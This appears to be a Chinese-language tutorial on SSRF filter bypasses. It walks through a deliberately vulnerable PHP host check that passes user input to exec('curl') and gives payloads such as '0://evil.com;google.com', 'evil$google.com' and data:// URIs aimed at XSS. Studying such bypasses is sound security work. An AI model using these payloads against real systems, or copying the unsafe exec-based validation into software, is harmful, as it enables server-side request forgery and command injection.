SSRF的trick

测试代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
echo "Argument: ".$argv[1]."n";
// check if argument is a valid URL
if(filter_var($argv[1], FILTER_VALIDATE_URL)) {
// parse URL
$r = parse_url($argv[1]);
print_r($r);
// check if host ends with google.com
if(preg_match('/google.com$/', $r['host'])) {
// get page from URL
exec('curl -v -s "'.$r['host'].'"', $a);
print_r($a);
} else {
echo "Error: Host not allowed";
}
} else {
echo "Error: Invalid URL";
}
?>

代码从输入的第一个参数获取url,然后使用filter_var()来验证url的格式。如果通过检验,parse_url会解析,再使用正则表达式来检查主机名是否以google.com结尾。
如果全都通过,最后会通过curl发起一个http请求来获取网页的内容,再打印出内容

按照代码的预期来说,只能接受google.com的请求,不接受其他目标

1
http://google.com
1
http://evil.com

对于普通人来说这确实已经足够安全了,但是我们要继续尝试bypass
在上面的代码正则表达用于检验请求主机名是否以google.com结尾。但你熟悉URI语法,你应该明白分号和逗号可能是你利用远程主机上的ssrf的方法

许多URL方案中都有保留字符,保留字符都有特定含义。它们在URL的方案特定部分中的外观具有指定的语义。如果在一个方案中保留了与八位组相对应的字符,则该八位组必须被编码。除了字符“;”, “/”, “?”, “:”, “@”, “=” 和 “&” 被定义为保留字符,其余一律为不保留字符。

除了分层路径中的dot-segments之外,一般语法认为路径段不透明。 生成应用程序的URI通常使用段中允许的保留字符来分隔scheme-specific或者dereference-handler-specific子组件。 例如分号(“;”) 和等于(“=”) 保留字符通常用于分隔适用于该段的参数和参数值。 逗号(“,”) 保留字符通常用于类似目的。

例如,一个URI生产者可能使用一个段name;v=1.1来表示对“name”版本1.1的引用,而另一个可能使用诸如“name,1.1”的段来表示相同含义。参数类型可以由scheme-specific 语义来定义,但在大多数情况下,一个参数的语法是特定的URI引用算法的实现。

若应用于主机evil.com;google.com可能会被curl 或者wget 解析成hostname: evil.com 和 querystring: google.com,不如来试一下

1
http://evil.com;google.com

函数filter_var()可以解析许多类型的 URL schema,从上面可以看出filter_var()拒绝以主机名和“HTTP”作为schema验证请求的URL,但如果把 schema从http:// 改成别的会怎样呢?

1
0://evil.com;google.com

成功bypass,但是curl请求失败了,尝试下其他语法不让google.com被解析成主机的一部分。比如说增加端口

1
0://evil.com:80;google.com:80/

成功访问网站,使用逗号尝试下

1
0://evil.com:80,google.com:80/

对于parse_url来说,parse_url()是用于解析一个 URL 并返回一个包含在 URL 中出现的各种组成部分关联数组的PHP函数。这个函数并不是要验证给定的URL,它只是将它分解成上面列出的部分。 部分网址也可以作为parse_url()的输入并被尽可能的正确解析,最后的执行命令成功与否要看bash

1
0://evil$google.com
1
bash将$google分析为一个空变量,并且使用curl请求了evil <empty> .com,实际就是evil.com.但是这样只能发生在curl语法里,在parse_url解析的主机名仍然是evil$google.com。 $ google变量并没有被解释。 只有当使用了exec()函数而且脚本又使用$r[‘host’]来创建一个curl HTTP请求时,Bash才会将其转换为一个空变量。

这里也可以尝试xss

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
echo "Argument: ".$argv[1]."n";
// check if argument is a valid URL
if(filter_var($argv[1], FILTER_VALIDATE_URL)) {
// parse URL
$r = parse_url($argv[1]);
print_r($r);
// check if host ends with google.com
if(preg_match('/google.com$/', $r['host'])) {
// get page from URL
$a = file_get_contents($argv[1]);
echo($a);
} else {
echo "Error: Host not allowed";
}
} else {
echo "Error: Invalid URL";
}
?>

这里把exec换成了file_get_contents调用curl,这里尝试在url里加入一些文本来修改响应主体

1
data://text/plain;base64,SSBsb3ZlIFBIUAo=google.com //I Love PHP

parse_url()不允许将文本设置为请求主机,并且返回了“not allowed host”正确拒绝解析。我们可以尝试将某些东西注入URI的MIME类型部分

1
data://google.com/plain;base64,SSBsb3ZlIFBIUAo=

成功解析了,接下来尝试xss

1
data://text.google.com/plain;base64,<...b64...>